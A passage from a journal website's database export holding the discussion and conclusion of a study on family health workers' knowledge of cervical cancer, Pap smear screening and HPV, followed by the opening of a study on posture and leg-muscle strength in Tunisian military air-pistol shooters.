style=\"text-align:center\"><span style=\"font-size:10.0pt\">25. Chlamydia infection is not a risk factor for cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">No</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">228</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">24,0</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">120</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">12,6</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">602</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">63,4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">26. Cervical cancer is diagnosed via pap smear screening </span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">661</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">69,6</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">73</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7,7</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">216</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">22,7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">27. Bleeding or pain after sexual intercourse is an early symptom of cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">506</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">53,3</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">68</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7,2</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">376</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">39,6</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">28. HPV causes genital warts</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">473</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">49,8</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">29</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3,1</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">448</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">47,2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">29. High number of pregnancies (3 or more) is a risk factor for cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">422</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">44,4</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">153</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">16,1</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">375</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">39,5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">30. First sexual intercourse at an early age (younger than 18 years old) is a risk factor for cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">509</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">53,6</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">100</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10,5</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">341</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">35,9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">31. Pap smear screening may be performed once every 3 years following normal (negative) findings in 3 consecutive tests</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">398</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">41,9</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">110</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">11,6</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">442</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">46,5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">32. An unbounded sexuality is a risk factor for cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">719</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">75,7</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">27</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2,8</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">204</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">21,5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">33. Low socioeconomic status is not a risk factor for cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">No</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">491</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">51,7</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">207</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">21,8</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">252</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">26,5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">34. Sexually transmitted diseases are a risk factors for cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">755</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">79,5</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">24</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2,5</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">171</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">18,0</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n</div>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 4: </strong>The Distribution of FHWs based on their Responses to Knowledge Statements on the Risk factors for Cervical Cancer, Pap Smear Screening and HPV.</span></p>\r\n\r\n<p style=\"text-align:justify\"><strong>5. Discussion</strong></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">While the three highest rates of correct responses to the knowledge statements on the risk factors of cervical cancer, Pap smear screening and HPV by FHWs were &ldquo;Early diagnosis and treatment of cervical cancer is possible&rdquo;(92.9%), &ldquo;Gynecological examination shall only be performed when a gynecological problem occurs&rdquo; (87.3%) and &ldquo;Every sexually active woman must have pap smear testing&rdquo; (83.5 %), the lowest rate of correct response was obtained on the statement &ldquo;HPV causes pain during sexual intercourse&rdquo; (7.6%).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The most significant characteristics of cervical cancer are that it is preventable and has good prognosis when diagnosed early. Therefore, if and to what extent cervical cancer and pap smear test are known and up taken by the public pose an important health problem <span style=\"color:red\">[6, 8, 19].</span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The awareness of the risk factors that cause cancer is important for taking precautions to avoid the cervical cancer. In this respect, health awareness must be raised among all women especially among the ones who are under risk <span style=\"color:red\">[20,21].</span> The studies in the literature indicate that the opinions of women about gynecological examination affect their attitude towards having gynecological examination and Pap smear screening test <span style=\"color:red\">[18, 22].</span> The study by G&uuml;len shows that one-third of the midwives and nurses (33.2 %) have never had gynecological examination and that a large portion of those who have been examined had the test only when they are obliged to so in cases such as pregnancy (46.1 %) and RIA (43.6 %). A similar study also shows that women are shy about having gynecological examination and do not have periodic health check-ups in healthcare institutes unless they suffer from a health problem <span style=\"color:red\">[22,23].</span> In our study, 51.7 % of FHWs have never had pelvic examination and almost half of those who have been examined (48.4%) had the test due to pregnancy- and birth-related issues and bleeding and menstrual irregularities (17.2 %). The fact that only 10.2 % of FHWs have had pelvic examination for regular health check-ups (<span style=\"color:red\">Table 2</span>) and majority of them did not feel the need to be examined because they did not have any health problems (<span style=\"color:red\">Table 3</span>) evokes the idea that health-protective approaches are inadequate and FHWs may not represent a role model for women. It is well known that in our country, women do not have routine health check-ups for protecting or preserving their health <span style=\"color:red\">[6,17].</span> Our study indicates that, despite being a healthcare worker, the percentage of them having a pelvic examination is lower (10.2 %) compared to the other studies in the literature. Therefore, they do not pay attention to protect or enhance their own health and may not be considered as a role model.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Gynecological problems are known to increase with age <span style=\"color:red\">[14,19, 24]. </span>In our study, almost half of the participants (45.4 %) who have never had pelvic examination are in the age range of 25-29 years old. This means that, despite their advanced age, the other half have not undergone a pelvic examination which poses a risk for their health. In addition, both our study and a similar study in the literature indicate that the percentage of FHWs having gynecological examination increases with advancing educational level <span style=\"color:red\">[11,17,18]. </span>In terms of their marital status, while a large portion of married FHWs had undergone pelvic examination with a percentage of 84.1, 71.3 % of single women have never had pelvic examination. Thus, one may conclude that single FHWs overlooks to the fact that pelvic examination may also be performed without vaginal examination.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">In Europe, the mortality rate related to cervical cancer is reduced gradually thanks to the effective screening programs. In fact, the disease can be diagnosed at an early stage via the Pap smear screening <span style=\"color:red\">[2,25,26]</span> In a study, 51.3 % of women were found to have undergone pap smear screening and this percentage increases proportionally with age, marriage duration, number of births, knowledge level on Pap smear screening and perception of cervical cancer risk factors <span style=\"color:red\">[17]. </span>The relevant studies in the literature indicate that, opinions of women about gynecological examination affect their attitudes towards having gynecological examination and pap smear screening <span style=\"color:red\">[22,27,28,29].</span> While 85 % of the women living in developed countries such as USA have undergone pap smear screening test at least once in their lifetime, in less developed countries it is only 5% <span style=\"color:red\">[2,11,16,30,31].</span> In our study, 80.5 % of the women have never had the Pap smear screening before. The fact that the majority of healthcare professionals have never undergone Pap smear screening test is an important significant finding in terms of cervical cancer screening. As almost half of the FHWs have undergone Pap smear screening test upon doctor&#39;s request and one-fourth of them have had the test for screening purposes, this practice may be considered to be insufficient. Even though the ratio of the screened FHWs may&nbsp;</span></p>\r\n\r\n<p><span style=\"font-size:10.0pt\">seem high, it actually is insufficient as they are healthcare professionals. Thus, one may conclude that the FHWs are not sensitive about the importance of screening and early diagnosis.</span></p>\r\n\r\n<p><span style=\"font-size:10.0pt\">Even though cancer can be identified at an early stage via periodic examination and the pap smear screening, relevant studies show that, FHWs are able to point out neither the group of women that should have Pap smear screening nor the frequency of the screening. This finding indicates that healthcare professionals are not extensively informed on the importance of the issue <span style=\"color:red\">[29,32].</span></span></p>\r\n\r\n<p><span style=\"font-size:10.0pt\">It is rather striking that approximately one-fifth of FHWs were diagnosed with infection. Because untreated long-term infections are significant risk factors for cervical cancer <span style=\"color:red\">[12]</span>. Raising awareness of FHWs on pap smear screening test is of great importance to ensure early diagnosis and treatment through examining genital infections before the onset of serious illness such as cervical cancer. 58.8 % of FHWs report that &ldquo;the reason for them not to be screened is that they did not feel the need for having Pap smear screening test since they did not have any health problems&rdquo;. The fact that FHWs have not been screened just because they did not feel the need for it might be interpreted as they did not develop the necessary skills to take on self-care responsibility and that they only have had Pap smear screening when they have a complaint may be explained as they perceive it as a diagnostic test only. In similar studies, the women expressed that they have not undergone Pap smear screening because they did not feel under risk, were unaware of symptoms of the disease, had a fear for vaginal examination, were embarrassed, had pain, did not have sufficient interest, perceived discomfort during the test and were not in the at-risk age group <span style=\"color:red\">[22,29].</span> </span></p>\r\n\r\n<p><span style=\"font-size:10.0pt\">Protection against risk factors that may cause cervical cancer is essential in preventing it and this is only possible if one is knowledgeable on the issue <span style=\"color:red\">[4,13,14].</span> In a study, awareness of cervical cancer and Pap smear screening is found to increase the rate of being screened <span style=\"color:red\">[20].</span> In another study, women are found to be more knowledgeable on HPV and cervical cancer if they have undergone Pap smear screening <span style=\"color:red\">[30].</span> Therefore, FHWs have an essential role in raising awareness among women. In our study, we find that 77.3% of FHWs did not acknowledge others and half of those did provide information only to patients and public. This finding might arouse the idea that healthcare professionals are not fulfilling their educational role to a sufficient extent. In similar studies this can be explained with the fact that healthcare professionals and especially midwives and nurses do not comprehend their role to deliver health education, which is of great importance in early diagnosis, or that their institutions have no expectations from them in this regard <span style=\"color:red\">[18,29,31</span>].</span></p>\r\n\r\n<p><span style=\"font-size:10.0pt\"><span style=\"color:black\">The present study indicates that the percentage of FHWs having Pap smear screening increases with age and advancing education level. In a similar research, the group of participants who received in-service training (IST) has a higher percentage of undergoing Pap smear screening (58.4 %) than that of the group of participants who are not given IST (35.7 %) </span></span><span style=\"font-size:10.0pt\"><span style=\"color:red\">[11,29,32].</span></span><span style=\"font-size:10.0pt\"><span style=\"color:black\"> When the status of FHWs to have Pap smear screening test based on their professions is analyzed, doctors and midwives-nurses are expected to be different in this context compared to the other two groups. As technicians and dieticians-physiotherapists-biologists-pharmacists are also healthcare professionals, their low percentages on undergoing Pap smear screening leads to the impression that they definitely need to have in-service training (IST). In a study conducted among health department students, 87 % stated that they had never undergone Pap smear screening and did not consider themselves to be under risk [29]. It has been found that almost half of the population have never had Pap smear screening when the results are reviewed according to the marital status of FHWs. Pap smear screening should definitely be performed as a part of pelvic examination within three years following the first sexual intercourse as is done in developed countries </span></span><span style=\"font-size:10.0pt\"><span style=\"color:red\">[18-20,24,33].</span></span></p>\r\n\r\n<p><span style=\"font-size:10.0pt\"><span style=\"color:black\">The status of FHWs on informing others about cervical cancer increases with advancing education. In a similar study it has been found that the knowledge level of women about cervical cancer, risk factors and HPV vaccination also increases with advancing education. It is both important and necessary to instruct women, who are responsible for protecting their own health and the health of family members, about the aforementioned topics to ensure a more conscious and a healthy future generation </span></span><span style=\"font-size:10.0pt\"><span style=\"color:red\">[17,30,34,35,36].</span></span></p>\r\n\r\n<p><span style=\"font-size:10.0pt\"><span style=\"color:black\">According to the form with 34 knowledge statements on the Risk factors for Cervical Cancer, Pap Smear Screening and HPV (</span></span><span style=\"font-size:10.0pt\"><span style=\"color:red\">Table 4</span></span><span style=\"font-size:10.0pt\"><span style=\"color:black\">) the proportion of correct answers on Risk factors for Cervical Cancer and Pap Smear Screening was found to be higher compared to the ones on HPV. Therefore, one may conclude that comprehensive and well-planned trainings on the risk factors for cervical cancer and Pap smear screening and in particular on HPV are necessary in order to raise awareness of FHWs and to strengthen their perception about the significance of this issue.</span></span></p>\r\n\r\n<p><strong>6. Conclusion</strong></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">In our study we found that the knowledge of FHWs on risk factors for cervical cancer, Pap smear screening and HPV is insufficient and that the percentage of them having pelvic examination and Pap smear screening is quite low. It is recommended that the content of the occupational training should be modified and extended (especially for technicians) to cover both theoretical information and practices necessary to meet the demands on pelvic examination and Pap smear screening. In addition, for more detailed information on these subjects, IST may be given. Moreover, FHWs were identified not to be proficient in informing others and in health education. Therefore, it is proposed that the importance of the role of healthcare professionals in health education should be explained to them and health education should be made more widespread. As the nurses are easily accessible within the healthcare team and they are responsible mainly of instructing others, they are suggested to be more active and to function as role models in this context. It is also proposed that risk groups should be identified through country-wide cervical cancer screenings, protective measures should be taken and that diagnosis and treatment modalities should be explained in detail.</span></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n','1533204913.pdf',NULL,'1533204915.jpg','',0,1,'2018-08-02 15:45:15','2018-10-06 19:12:28',1),(3,31,'20','2018','Postural and Isokinetic Evaluation of Tunisian Military Shooters','Ksiabi Imene*, El May Wafa, Maaoui Rim, Bejaoui Amira, Rahali Khachlouf Hajer','Research Article','Postural-and-Isokinetic-Evaluation-of-Tunisian-Military-Shooters','Postural and Isokinetic-Evaluation of Tunisian-Military Shooters','Postural and Isokinetic Evaluation of Tunisian Military Shooters','Postural-and-Isokinetic Evaluation of Tunisian Military Shooters','<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Postural and Isokinetic Evaluation of Tunisian Military Shooters</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><strong>Ksiabi Imene<sup><span style=\"color:red\">*</span></sup>, El May Wafa, Maaoui Rim, Bejaoui Amira, Rahali Khachlouf Hajer</strong></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Department of Physical and Rehabilitation Medicine, Military Tunis Hospital, Faculty of Medicine of Tunis, Tunisia</span></p>\r\n\r\n<p style=\"text-align:justify\"><strong><sup><span style=\"font-size:10.0pt\"><span style=\"color:red\">*</span></span></sup></strong><strong><span style=\"font-size:10.0pt\">Corresponding author:</span></strong><span style=\"font-size:10.0pt\"> Ksibi Imene, Department of </span><span style=\"font-size:10.0pt\">Physical and Rehabilitation Medicine, Military Tunis Hospital, Faculty of Medicine of Tunis, Tunisia. Tel: +216</span> <span style=\"font-size:10.0pt\">98628018; Email: </span><span style=\"font-size:10.0pt\"><a href=\"mailto:imeneksibibs@yahoo.fr\">imeneksibibs@yahoo.fr</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">Citation:</span></strong><span style=\"font-size:10.0pt\"> Imene K, Wafa EM, Rim M, Amira B, Hajer RK (2018) Postural and Isokinetic Evaluation of Tunisian Military Shooters. J Sports Sci <span style=\"color:black\">Physical Ther : JSSPT-100001.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">Received Date: </span></strong><span style=\"font-size:10.0pt\">05 August, 2018;<strong> Accepted Date: </strong>05 August, 2018;<strong> Published Date: </strong>23 August, 2018</span></p>\r\n','<p style=\"text-align:justify\"><strong>Abstract</strong></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1.1. Introduction: </strong>Among all shooting modalities, air pistol is one where the static balance plays a crucial role. Air pistol shooting requires precision and accuracy. Although many are the factors that influence performance in air pistol shooting, the ability to stabilize the gun seems to be the most important one. Military shooters are a particular population of athletes sought in extreme conditions.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In this study, we proposed to conduct a postural and isokinetic assessment of military shooters to better approach the stabilometric parameters and muscle strength that characterize them.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1.2. Methods:</strong> Our study was a prospective cross-sectional study conducted in the Physical and rehabilitation Medicine Department in the Military Tunis Hospital during May 2018. We recruited military athletes practicing air pistol shooting. All athletes had both a clinical and instrumental evaluation of their static posture on a flat platform (Winposture<sup><span style=\"color:red\">R</span></sup>) and an isokinetic evaluation (BIODEX<sup><span style=\"color:red\">R</span></sup>) of the hamstrings and the quadriceps in three velocities 60<sup><span style=\"color:red\">&deg;</span></sup>/s, 180<sup><span style=\"color:red\">&deg;</span></sup>/s and 300<sup><span style=\"color:red\">&deg;</span></sup>/s.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1.3.&nbsp;</strong></span><span style=\"font-family:Times New Roman,Times,serif\"><strong>Results: </strong>10 militaryshooterswereenrolled. The meanage was 27.5 <span style=\"color:red\">&plusmn;</span> 4.9 years, ranging from 22-38 years. All athleteswereright-handed. On clinicalevaluation, lumbarlordosis was foundtobeexagerated. The spinal flexibilitywas found proper in mostathletes. Instrumental assessment of the balance on a static platform (Winposture<sup><span style=\"color:red\">&reg;</span></sup>) found a decreased surface in nine shooters eyes closed and a decrease in the anteroposterior sway of the center of pressure in 8 shooters. On the isokinetic evaluation, a statistic difference was found between the dominant and the non-dominant side in the flexors at 180<sup><span style=\"color:red\">&deg;</span></sup>/sec and 300<sup><span style=\"color:red\">&deg;</span></sup>/sec.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1.4. Conclusion: </strong>Postural control in athlete shooters is a crucial factor conditioning the performance&nbsp;&nbsp; of the athlete. The nature and the specificities of the sport can also influence the postural profile of the athlete. Isokinetic evaluation allows appreciating the knee muscles strength, in order to detect a possible imbalance that can lead to injury.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Keywords: </strong>Isokinetic; Instrumental Evaluation; Postural Profile; Shooters </span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Postural stability can be defined as the ability of an individual to maintain their center of gravity within the base of support. Postural stability can be static or dynamic. Many complex physiologic and neurological processes control postural stability. Maintenance of posture relies on proprioceptive input and effective muscular response. Once processed in the CNS, efferent information is sent to peripheral muscles. Muscle strength is an important factor involved in maintaining balance, especially muscles of the lower limbs. In fact, all body movements are produced via contraction of skeletal muscles. So that, lower limb muscles are particularly important in allowing the body to maintain postural stability since they work to keep the center of gravity within the base of support. Postural stability and muscle strength is important in sportsman especially in elite shooters. In fact<span style=\"color:red\">, </span>among all&nbsp;the modalities of shooting, the static component plays a crucial role. Pistol or rifle shooting is a discipline that requires &quot;Accuracy and exactitude&quot;. It requires exceptional concentration and a strong mental approach. The slightest uncontrolled movement can lead to failure. Although many factors may influence the performance, the shooter&#39;s ability to stabilize the rifle appears to be the most important factor <span style=\"color:red\">[1,2]</span>.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">There appears to be a consensus that the ability to stabilize the gun and hence performance is controlled by the center of pressure (COP) movement <span style=\"color:red\">[3-5]</span>. Significant correlations were noted between performance and CPC movements in early shooters <span style=\"color:red\">[6]</span>. <span style=\"color:#231f20\">Elite shooters have been found to produce smaller body sway amplitudes, as indicated by COP movement, than the general population </span><span style=\"color:red\">[7]</span><span style=\"color:#231f20\"> and non-elite shooters </span><span style=\"color:red\">[8,9]</span><span style=\"color:#231f20\">, with elite shooters exhibiting COP ranges of less than 1 mm in the last 2 to 4 seconds before the shot event </span><span style=\"color:red\">[9]</span><span style=\"color:#231f20\">. </span>COP movements are measured using force platforms. Several variables are used for the measurement of COP movements such as the total surface area of the COP displacement and the maximum distances traveled by the CPC on the x and y axes and the average or maximum speeds on the X and Y axes <span style=\"color:red\">[10,11]</span>.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The main objective of this study was:</span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">&nbsp;to examine the postural balance of athlete shooters by evaluating the COP movements on a static platform </span></li>\r\n</ul>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">To evaluate the strength of Hamstring / Quadriceps couple using isokinetics, in order to study a possible relationship between postural stability and muscular strength of lower limbs.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4. Materials and Methods </strong></span></p>\r\n\r\n<pre style=\"text-align:justify\">\r\n<span style=\"font-family:Times New Roman,Times,serif\">It was a prospective study conducted at the Physical and Rehabilitation Medicine Department at the Military Tunis Hospital during the month of May 2018.\r\n</span></pre>\r\n\r\n<pre style=\"text-align:justify\">\r\n<span style=\"font-family:Times New Roman,Times,serif\">We included 10 right-handed athlete military shooters (5 males and 5 females). Inclusive criteria were military shooters:</span></pre>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Aged between 25 and 40 years.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Practicing alongside their military duties for at least 5 years and participating in national and international competitions. </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Without visual or 